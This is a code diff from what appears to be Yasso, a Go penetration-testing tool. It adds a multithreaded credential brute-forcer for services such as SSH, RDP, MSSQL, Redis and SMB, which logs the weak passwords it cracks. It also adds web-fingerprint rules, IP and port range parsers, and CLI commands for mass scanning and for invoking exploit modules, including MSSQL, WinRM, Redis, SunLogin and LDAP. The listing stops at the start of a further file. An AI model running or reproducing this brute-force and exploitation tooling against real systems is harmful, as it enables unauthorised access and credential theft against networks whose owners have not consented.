|
||||
{1, "zoomnetcom-WLAN", "body", "", InStr{"(var url=\"resetwebsvr.php?act=reset\";|中太数据 - 集中无线控制器)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Zoom-Search-Engine", "body", "", InStr{"(name=\"zoom_query\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Zope", "header", "", InStr{"", "(zope|server: zope|x-debug-frontend-key: zope)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Zotonic", "body", "", InStr{"(powered by: zotonic|/lib/js/apps/zotonic-1.0)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Zotonic", "body", "", InStr{"(powered by: zotonic|/internal/js/apps/zotonic-1.0)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Zscaler-FIREWALL", "header", "", InStr{"", "(set-cookie: _sm_au_d)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Z-Suite", "body", "", InStr{"(contentdiv imgposition desw)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ZTE-BAVO-Multimedia-Business-Center", "body", "", InStr{"(bavo 多媒体业务中心|/zxms80css.css)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
120
core/brute/brute.go
Normal file
120
core/brute/brute.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package brute
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"math"
|
||||
"reflect"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Brute struct {
|
||||
user []string // 被枚举的用户名
|
||||
pass []string // 被枚举的密码
|
||||
bruteMethod interface{} // 枚举方法
|
||||
service string // 服务命令
|
||||
serviceConn config.ServiceConn // 服务连接
|
||||
thread int // 执行爆破的线程数
|
||||
output string // 结果输出路径
|
||||
noBrute bool // 是否执行爆破
|
||||
}
|
||||
|
||||
func NewBrute(user, pass []string, method interface{}, service string, serviceConn config.ServiceConn, thread int, noBrute bool, output string) *Brute {
|
||||
return &Brute{
|
||||
user: user,
|
||||
pass: pass,
|
||||
bruteMethod: method,
|
||||
output: output,
|
||||
service: service,
|
||||
thread: thread,
|
||||
serviceConn: serviceConn,
|
||||
noBrute: noBrute,
|
||||
}
|
||||
}
|
||||
|
||||
// RunEnumeration 开始蛮力枚举
|
||||
func (b *Brute) RunEnumeration() {
|
||||
if b.noBrute == false {
|
||||
var wg sync.WaitGroup
|
||||
if len(b.user) == 0 {
|
||||
b.user = config.UserDict[b.service] // 获取对应端口的user列表
|
||||
}
|
||||
if len(b.pass) == 0 {
|
||||
b.pass = config.PassDict
|
||||
}
|
||||
var t int
|
||||
if len(b.pass) <= b.thread {
|
||||
t = len(b.pass)
|
||||
} else {
|
||||
t = b.thread
|
||||
}
|
||||
// 分割密码
|
||||
num := int(math.Ceil(float64(len(b.pass)) / float64(b.thread))) // 每个协程的user数量
|
||||
// 分割用户名
|
||||
all := map[int][]string{}
|
||||
for i := 1; i <= t; i++ {
|
||||
for j := 0; j < num; j++ {
|
||||
tmp := (i-1)*num + j
|
||||
if tmp < len(b.pass) {
|
||||
all[i] = append(all[i], b.pass[tmp])
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := 1; i <= t; i++ {
|
||||
wg.Add(1)
|
||||
tmp := all[i]
|
||||
go func(tmp []string) {
|
||||
defer wg.Done()
|
||||
for _, p := range tmp {
|
||||
for _, u := range b.user {
|
||||
// 开始爆破,带有用户名密码的服务
|
||||
if strings.Contains(p, "{user}") {
|
||||
p = strings.ReplaceAll(p, "{user}", u)
|
||||
}
|
||||
if b.export(b.call(b.serviceConn, u, p), b.serviceConn.Hostname, b.serviceConn.Port, b.service, u, p, b.output) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}(tmp)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
// call 函数调用,爆破将会调用该模块去执行操作操作
|
||||
func (b *Brute) call(params ...interface{}) []reflect.Value {
|
||||
f := reflect.ValueOf(b.bruteMethod)
|
||||
if len(params) != f.Type().NumIn() {
|
||||
logger.Fatal(fmt.Sprintf("call func %v has an error", b.bruteMethod))
|
||||
return nil
|
||||
}
|
||||
args := make([]reflect.Value, len(params))
|
||||
for k, param := range params {
|
||||
if param == "" || param == 0 {
|
||||
continue
|
||||
}
|
||||
args[k] = reflect.ValueOf(param)
|
||||
}
|
||||
return f.Call(args)
|
||||
}
|
||||
|
||||
// 结果验证
|
||||
func (b *Brute) export(v []reflect.Value, host string, port int, service, user, pass string, output string) bool {
|
||||
var mutex sync.Mutex
|
||||
for _, value := range v {
|
||||
switch value.Kind() {
|
||||
case reflect.Bool:
|
||||
if value.Bool() == true {
|
||||
mutex.Lock()
|
||||
logger.Success(fmt.Sprintf("brute %v:%v success [%v:%v][%v]", host, port, user, pass, service))
|
||||
logger.JSONSave(host, logger.WeakPassSave, service, map[string]string{user: pass})
|
||||
mutex.Unlock()
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
114
core/flag/flag.go
Normal file
114
core/flag/flag.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package flag
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit"
|
||||
"github.com/spf13/cobra"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
type allFlags struct {
|
||||
Hosts string // 全局变量 标识ip列表或文件路径
|
||||
Ports string // 全局变量 标识扫描的端口
|
||||
Timeout int // 全局变量 标识超时时间
|
||||
NoCrack bool // 全局变量 标识all模块是否开启爆破
|
||||
NoAlive bool // 全局变量 是否采用ping来判断存活主机
|
||||
User string // 全局变量 标识all模块爆破使用用户名字典
|
||||
Pass string // 全局变量 标识all模块爆破使用密码字典
|
||||
Thread int // 全局变量 标识all模块扫描时的线程数
|
||||
NoService bool // 全局变量 标识all模块是否探测服务
|
||||
NoVulcan bool // 全局变量 标识all模块是否进行主机层漏扫
|
||||
}
|
||||
|
||||
type BurpFlags struct {
|
||||
Hosts string // 全局变量,标识ip列表或文件路径
|
||||
Method string // 爆破的服务名称
|
||||
User string // 爆破时采用的用户字典
|
||||
Pass string // 爆破时采用的密码字典
|
||||
Thread int // 爆破时采用的线程数
|
||||
Timeout int // 爆破的超时时间
|
||||
IsAlive bool // 爆破前是否检测存活
|
||||
}
|
||||
|
||||
var burp BurpFlags
|
||||
var all allFlags
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "Yasso",
|
||||
Short: "\n_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/\n",
|
||||
}
|
||||
|
||||
var allCmd = &cobra.Command{
|
||||
Use: "all",
|
||||
Short: "Use all scanner module (.attention) Traffic is very big",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if all.Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
scanner := plugin.NewAllScanner(all.Hosts, all.Ports, all.NoAlive, all.NoCrack, all.User, all.Pass, all.Thread, time.Duration(all.Timeout)*1000*time.Millisecond, all.NoService, all.NoVulcan)
|
||||
scanner.RunEnumeration()
|
||||
},
|
||||
}
|
||||
|
||||
var serviceCmd = &cobra.Command{
|
||||
Use: "service",
|
||||
Short: "Detection or blasting services by module",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if burp.Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
plugin.BruteService(burp.User, burp.Pass, burp.Hosts, burp.Method, burp.Thread, time.Duration(burp.Timeout)*1000*time.Millisecond, burp.IsAlive)
|
||||
},
|
||||
}
|
||||
|
||||
var ExpCmd = &cobra.Command{
|
||||
Use: "exploit",
|
||||
Short: "Exploits to attack the service",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if cmd.HasSubCommands() {
|
||||
_ = cmd.Help()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
rootCmd.PersistentFlags().StringVar(&logger.LogFile, "output", "result.txt", "set logger file")
|
||||
allCmd.Flags().StringVar(&logger.LogJson, "json", "", "设置json格式输出文件")
|
||||
allCmd.Flags().StringVarP(&all.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
|
||||
allCmd.Flags().StringVar(&all.Ports, "ports", "", "设置扫描的端口参数(.eg) null将采用默认端口号 top 1000")
|
||||
allCmd.Flags().IntVar(&all.Timeout, "timeout", 1, "设置扫描的超时时间 默认1秒")
|
||||
allCmd.Flags().BoolVar(&all.NoCrack, "no-crack", false, "设置扫描时是否爆破脆弱服务")
|
||||
allCmd.Flags().BoolVar(&all.NoAlive, "no-alive", false, "设置扫描时是否先检测主机存活")
|
||||
allCmd.Flags().StringVar(&all.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
|
||||
allCmd.Flags().StringVar(&all.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
|
||||
allCmd.Flags().IntVar(&all.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
|
||||
allCmd.Flags().BoolVar(&all.NoService, "no-service", false, "设置扫描时是否探测服务")
|
||||
allCmd.Flags().BoolVar(&all.NoVulcan, "no-vuln", false, "设置扫描时是否检测主机层漏洞")
|
||||
rootCmd.AddCommand(allCmd)
|
||||
serviceCmd.Flags().StringVarP(&burp.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
|
||||
serviceCmd.Flags().StringVar(&burp.Method, "module", "", "指定要爆破的服务名称(.eg) \n[mssql,ftp,ssh,mysql,rdp,postgres,redis,winrm,smb,mongo]\n以逗号分割,可同时爆破多个服务(--module ssh:22,mysql:3306,rdp:3389)")
|
||||
serviceCmd.Flags().IntVar(&burp.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
|
||||
serviceCmd.Flags().StringVar(&burp.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
|
||||
serviceCmd.Flags().StringVar(&burp.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
|
||||
serviceCmd.Flags().IntVar(&burp.Timeout, "timeout", 1, "设置爆破的超时时间 默认1秒")
|
||||
serviceCmd.Flags().BoolVar(&burp.IsAlive, "is-alive", true, "爆破前是否进行ping检测存活")
|
||||
rootCmd.AddCommand(serviceCmd)
|
||||
rootCmd.AddCommand(ExpCmd)
|
||||
// 利用模块命令
|
||||
ExpCmd.AddCommand(exploit.MssqlCmd)
|
||||
ExpCmd.AddCommand(exploit.SshCmd)
|
||||
ExpCmd.AddCommand(exploit.WinRmCmd)
|
||||
ExpCmd.AddCommand(exploit.RedisCmd)
|
||||
ExpCmd.AddCommand(exploit.SunLoginCmd)
|
||||
ExpCmd.AddCommand(exploit.LdapReaperCmd)
|
||||
}
|
||||
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
199
core/logger/logger.go
Normal file
199
core/logger/logger.go
Normal file
@@ -0,0 +1,199 @@
|
||||
package logger
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/gookit/color"
|
||||
"os"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
Cyan = color.Cyan.Render
|
||||
Red = color.Red.Render
|
||||
LightGreen = color.Style{color.Green, color.OpBold}.Render
|
||||
LightRed = color.Style{color.Red, color.OpBold}.Render
|
||||
)
|
||||
|
||||
const (
|
||||
PortSave = 1
|
||||
HostSave = 2
|
||||
WeakPassSave = 3
|
||||
InformationSave = 4
|
||||
VulnerabilitySave = 5
|
||||
)
|
||||
|
||||
var LogFile string
|
||||
var LogJson string
|
||||
var mutex sync.Mutex
|
||||
|
||||
func Info(in ...interface{}) {
|
||||
mutex.Lock()
|
||||
var all []interface{}
|
||||
for k, v := range in {
|
||||
if k == len(in)-1 {
|
||||
all = append(all, fmt.Sprintf("%v", v))
|
||||
} else {
|
||||
all = append(all, fmt.Sprintf("%v ", v))
|
||||
}
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[%s] ", Cyan("*")) + fmt.Sprint(all...))
|
||||
|
||||
file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
|
||||
if err != nil {
|
||||
Fatal("open file has an error", err.Error())
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
_, _ = file.WriteString(fmt.Sprintf("[*] " + fmt.Sprint(all...) + "\n"))
|
||||
mutex.Unlock()
|
||||
}
|
||||
|
||||
func Success(in ...interface{}) {
|
||||
mutex.Lock()
|
||||
var all []interface{}
|
||||
for k, v := range in {
|
||||
if k == len(in)-1 {
|
||||
all = append(all, fmt.Sprintf("%v", v))
|
||||
} else {
|
||||
all = append(all, fmt.Sprintf("%v ", v))
|
||||
}
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[%s] ", LightGreen("+")) + fmt.Sprint(all...))
|
||||
|
||||
file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
|
||||
if err != nil {
|
||||
Fatal("open file has an error", err.Error())
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
_, err = file.WriteString(fmt.Sprintf("[+] " + fmt.Sprint(all...) + "\n"))
|
||||
mutex.Unlock()
|
||||
}
|
||||
|
||||
func Fatal(in ...interface{}) {
|
||||
var all []interface{}
|
||||
for k, v := range in {
|
||||
if k == len(in)-1 {
|
||||
all = append(all, fmt.Sprintf("%v", v))
|
||||
} else {
|
||||
all = append(all, fmt.Sprintf("%v ", v))
|
||||
}
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[%s] ", Red("#")) + fmt.Sprint(all...))
|
||||
}
|
||||
|
||||
// JSONSave 保存json格式数据
|
||||
func JSONSave(host string, t int, in ...interface{}) {
|
||||
if LogJson != "" {
|
||||
switch t {
|
||||
case VulnerabilitySave:
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务存在
|
||||
if v.Host == host {
|
||||
v.Vulnerability = append(v.Vulnerability, in[0].(string))
|
||||
}
|
||||
}
|
||||
case PortSave:
|
||||
// 端口存储
|
||||
var flag = false
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务存在
|
||||
if v.Host == host {
|
||||
v.Port = in[0].([]int) // 将端口存储
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
if flag == false {
|
||||
config.JSONSave = append(config.JSONSave, &config.Format{
|
||||
Host: host,
|
||||
})
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务存在
|
||||
if v.Host == host {
|
||||
v.Port = in[0].([]int) // 将端口存储
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
case HostSave:
|
||||
// 主机存储
|
||||
config.JSONSave = append(config.JSONSave, &config.Format{
|
||||
Host: host,
|
||||
})
|
||||
case WeakPassSave:
|
||||
// 这里存储json的服务弱口令
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务名称已经有了,那么将口令加到它的WeakPass种
|
||||
// 如果主机之前也是存活的
|
||||
if v.Host == host {
|
||||
// 遍历主机的服务列表
|
||||
var flag = false
|
||||
for _, value := range v.Service {
|
||||
if value.Name == in[0].(string) { // 服务名
|
||||
value.WeakPass = append(value.WeakPass, in[1].(map[string]string))
|
||||
flag = true // 证明服务存在
|
||||
}
|
||||
}
|
||||
// 证明host存在
|
||||
if flag == false {
|
||||
v.Service = append(v.Service, &config.Service{
|
||||
Name: in[0].(string), //服务名
|
||||
WeakPass: []map[string]string{in[1].(map[string]string)},
|
||||
})
|
||||
}
|
||||
// 证明host存在
|
||||
if flag == false {
|
||||
v.Service = append(v.Service, &config.Service{
|
||||
Name: in[0].(string), //服务名
|
||||
WeakPass: []map[string]string{in[1].(map[string]string)},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
case 4:
|
||||
// 这里information字段
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务名称已经有了,那么将口令加到它的WeakPass种
|
||||
// 如果主机之前也是存活的
|
||||
if v.Host == host {
|
||||
// 遍历主机的服务列表
|
||||
var flag = false
|
||||
for _, value := range v.Service {
|
||||
if value.Name == in[0].(string) { // 服务名
|
||||
value.Information = append(value.Information, in[1].(string))
|
||||
flag = true // 证明服务存在
|
||||
}
|
||||
}
|
||||
// 证明host存在
|
||||
if flag == false {
|
||||
v.Service = append(v.Service, &config.Service{
|
||||
Name: in[0].(string), //服务名
|
||||
Information: []string{in[1].(string)},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 将以json格式保存,文件将会保存全局变量存储的结果集
|
||||
}
|
||||
}
|
||||
|
||||
func LoggerSave() {
|
||||
if LogJson != "" {
|
||||
body, err := json.Marshal(config.JSONSave)
|
||||
if err != nil {
|
||||
Fatal("save json marshal failed", err.Error())
|
||||
return
|
||||
}
|
||||
filePtr, err := os.Create(LogJson)
|
||||
if err != nil {
|
||||
fmt.Println("文件创建失败", err.Error())
|
||||
return
|
||||
}
|
||||
defer filePtr.Close()
|
||||
// 创建Json编码器
|
||||
_, _ = filePtr.Write(body)
|
||||
}
|
||||
}
|
||||
301
core/parse/parse_ip.go
Normal file
301
core/parse/parse_ip.go
Normal file
@@ -0,0 +1,301 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/projectdiscovery/cdncheck"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// ReadFile 从文件中读取数据
|
||||
func ReadFile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
logger.Fatal("open file has an error", err.Error())
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
var re []string
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
re = append(re, text)
|
||||
}
|
||||
}
|
||||
re = Duplicate(re) // 去重
|
||||
return re, nil
|
||||
}
|
||||
|
||||
// ConvertDomainToIpAddress 将域名转换成ip地址
|
||||
func ConvertDomainToIpAddress(domains []string, thread int) ([]string, error) {
|
||||
checkChan := make(chan string, 100)
|
||||
var wg sync.WaitGroup
|
||||
var re []string
|
||||
for i := 0; i < thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for host := range checkChan {
|
||||
if strings.Count(host, ".") == 3 && len(strings.Split(host, ":")) == 2 {
|
||||
// 这种是带有端口的ip地址
|
||||
re = append(re, host)
|
||||
continue
|
||||
}
|
||||
ip, err := net.LookupHost(host)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if ip != nil {
|
||||
// 证明存在cdn,直接丢掉即可(不跑带有cdn的域名)
|
||||
if len(ip) >= 2 {
|
||||
logger.Info(fmt.Sprintf("%s has cdn %v", host, ip[:]))
|
||||
continue
|
||||
} else {
|
||||
for _, i := range ip {
|
||||
re = append(re, i)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, domain := range domains {
|
||||
if strings.Contains(domain, "http://") {
|
||||
domain = strings.TrimPrefix(domain, "http://")
|
||||
}
|
||||
if strings.Contains(domain, "https://") {
|
||||
domain = strings.TrimPrefix(domain, "https://")
|
||||
}
|
||||
checkChan <- domain
|
||||
}
|
||||
close(checkChan)
|
||||
wg.Wait()
|
||||
re = Duplicate(re) // 去重
|
||||
return re, nil
|
||||
}
|
||||
|
||||
// cdnFilter cdn过滤器
|
||||
func cdnFilter(ip string, client *cdncheck.Client) string {
|
||||
if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
|
||||
return ip
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Duplicate 去重
|
||||
func Duplicate(slc []string) []string {
|
||||
var re []string
|
||||
temp := map[string]byte{}
|
||||
for _, v := range slc {
|
||||
l := len(temp)
|
||||
temp[v] = 0
|
||||
if len(temp) != l {
|
||||
re = append(re, v)
|
||||
}
|
||||
}
|
||||
return re
|
||||
}
|
||||
|
||||
// RegIpv4Address 匹配ipv4
|
||||
func RegIpv4Address(context string) string {
|
||||
matched, err := regexp.MatchString("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}", context)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if matched {
|
||||
return context
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func HandleIps(ip string) ([]string, error) {
|
||||
var Unprocessed []string
|
||||
var err error
|
||||
var basic []string
|
||||
|
||||
if strings.Contains(ip, ".txt") {
|
||||
if strings.ToLower(path.Ext(filepath.Base(ip))) == ".txt" {
|
||||
// 文件后缀为.txt的话,我们按照文件解析并获取数据结果
|
||||
Unprocessed, err = ReadFile(ip)
|
||||
if err != nil {
|
||||
return []string{}, err
|
||||
}
|
||||
}
|
||||
/*
|
||||
这里获取到的数据格式可能为
|
||||
192.168.248.1/24
|
||||
192.168.248.1-155
|
||||
www.baidu.com
|
||||
192.168.248.1:3389
|
||||
https://www.baidu.com
|
||||
*/
|
||||
|
||||
// 第一波解析开始,解析ip地址格式
|
||||
for _, i := range Unprocessed {
|
||||
switch {
|
||||
case RegIpv4Address(i) != "" && (strings.Count(i, "/24") == 1 || strings.Count(i, "/16") == 1):
|
||||
temp, err := ConvertIpFormatA(i)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ip address has an error", err.Error())
|
||||
return []string{}, err
|
||||
}
|
||||
basic = append(basic, temp...)
|
||||
case RegIpv4Address(i) != "" && strings.Count(i, "-") == 1 && !strings.Contains(i, "/"):
|
||||
fmt.Println(i)
|
||||
temp, err := ConvertIpFormatB(i)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ip address has an error", err.Error())
|
||||
return []string{}, err
|
||||
}
|
||||
basic = append(basic, temp...)
|
||||
case strings.Contains(i, "https://") || strings.Contains(i, "http://"):
|
||||
if strings.Contains(i, "https://") {
|
||||
basic = append(basic, strings.ReplaceAll(i, "https://", ""))
|
||||
}
|
||||
if strings.Contains(i, "http://") {
|
||||
basic = append(basic, strings.ReplaceAll(i, "https", ""))
|
||||
}
|
||||
default:
|
||||
basic = append(basic, i)
|
||||
}
|
||||
}
|
||||
// 第一波解析完成,开始第二波解析,解析域名
|
||||
basic = Duplicate(basic) // 第一次去重
|
||||
basic, err = ConvertDomainToIpAddress(basic, 100)
|
||||
if err != nil {
|
||||
logger.Fatal("parse domain has an error", err.Error())
|
||||
return nil, err
|
||||
}
|
||||
basic = Duplicate(basic) // 第二次去重
|
||||
} else {
|
||||
basic, err = ConvertIpFormatAll(ip)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ip address has an error", err.Error())
|
||||
return []string{}, err
|
||||
}
|
||||
}
|
||||
// 二次筛选
|
||||
var newBasic []string
|
||||
for _, ip := range basic {
|
||||
if strings.Contains(ip, "/") {
|
||||
newBasic = append(newBasic, strings.Split(ip, "/")[0])
|
||||
} else {
|
||||
newBasic = append(newBasic, ip)
|
||||
}
|
||||
}
|
||||
// 对获取到的ip地址进行排序进行后续操作
|
||||
sort.Strings(newBasic)
|
||||
return newBasic, err
|
||||
}
|
||||
|
||||
// ConvertIpFormatA 不解析192.168.248.1/8格式目前
|
||||
func ConvertIpFormatA(ip string) ([]string, error) {
|
||||
var ip4 = net.ParseIP(strings.Split(ip, "/")[0])
|
||||
if ip4 == nil {
|
||||
return []string{}, errors.New("not an ipv4 address")
|
||||
}
|
||||
var mark = strings.Split(ip, "/")[1]
|
||||
var temp []string
|
||||
var err error
|
||||
switch mark {
|
||||
case "24":
|
||||
var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
|
||||
for i := 0; i <= 255; i++ {
|
||||
temp = append(temp, ip3+"."+strconv.Itoa(i))
|
||||
}
|
||||
err = nil
|
||||
case "16":
|
||||
var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
|
||||
for i := 0; i <= 255; i++ {
|
||||
for j := 0; j <= 255; j++ {
|
||||
temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
|
||||
}
|
||||
}
|
||||
err = nil
|
||||
default:
|
||||
temp = []string{}
|
||||
err = errors.New("not currently supported")
|
||||
}
|
||||
return temp, err
|
||||
}
|
||||
|
||||
func ConvertIpFormatB(ip string) ([]string, error) {
|
||||
var ip4 = strings.Split(ip, "-")
|
||||
var ipA = net.ParseIP(ip4[0])
|
||||
if ip4 == nil {
|
||||
return []string{}, errors.New("not an ipv4 address")
|
||||
}
|
||||
var temp []string
|
||||
if len(ip4[1]) < 4 {
|
||||
iprange, err := strconv.Atoi(ip4[1])
|
||||
if ipA == nil || iprange > 255 || err != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
var splitip = strings.Split(ip4[0], ".")
|
||||
ip1, err1 := strconv.Atoi(splitip[3])
|
||||
ip2, err2 := strconv.Atoi(ip4[1])
|
||||
prefixip := strings.Join(splitip[0:3], ".")
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
for i := ip1; i <= ip2; i++ {
|
||||
temp = append(temp, prefixip+"."+strconv.Itoa(i))
|
||||
}
|
||||
} else {
|
||||
var splitip1 = strings.Split(ip4[0], ".")
|
||||
var splitip2 = strings.Split(ip4[1], ".")
|
||||
if len(splitip1) != 4 || len(splitip2) != 4 {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(splitip1[i])
|
||||
ip2, err2 := strconv.Atoi(splitip2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
for num := startNum; num <= endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
|
||||
temp = append(temp, ip)
|
||||
}
|
||||
}
|
||||
return temp, nil
|
||||
}
|
||||
|
||||
func ConvertIpFormatAll(ip string) ([]string, error) {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
switch {
|
||||
case strings.Count(ip, "/") == 1:
|
||||
return ConvertIpFormatA(ip)
|
||||
case strings.Count(ip, "-") == 1:
|
||||
return ConvertIpFormatB(ip)
|
||||
case reg.MatchString(ip):
|
||||
_, err := net.LookupHost(ip)
|
||||
if err != nil {
|
||||
return []string{}, err
|
||||
}
|
||||
return []string{ip}, nil
|
||||
default:
|
||||
var isip = net.ParseIP(ip)
|
||||
if isip == nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
return []string{ip}, nil
|
||||
}
|
||||
}
|
||||
50
core/parse/parse_port.go
Normal file
50
core/parse/parse_port.go
Normal file
@@ -0,0 +1,50 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// HandlePorts 解析端口格式
|
||||
func HandlePorts(ports string) ([]int, error) {
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.Trim(port, " ")
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
} else {
|
||||
port = ranges[1]
|
||||
upper = ranges[0]
|
||||
}
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
scanPorts = RemoveDuplicate(scanPorts)
|
||||
return scanPorts, nil
|
||||
}
|
||||
|
||||
func RemoveDuplicate(old []int) []int {
|
||||
result := make([]int, 0, len(old))
|
||||
temp := map[int]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
447
core/plugin/all.go
Normal file
447
core/plugin/all.go
Normal file
@@ -0,0 +1,447 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
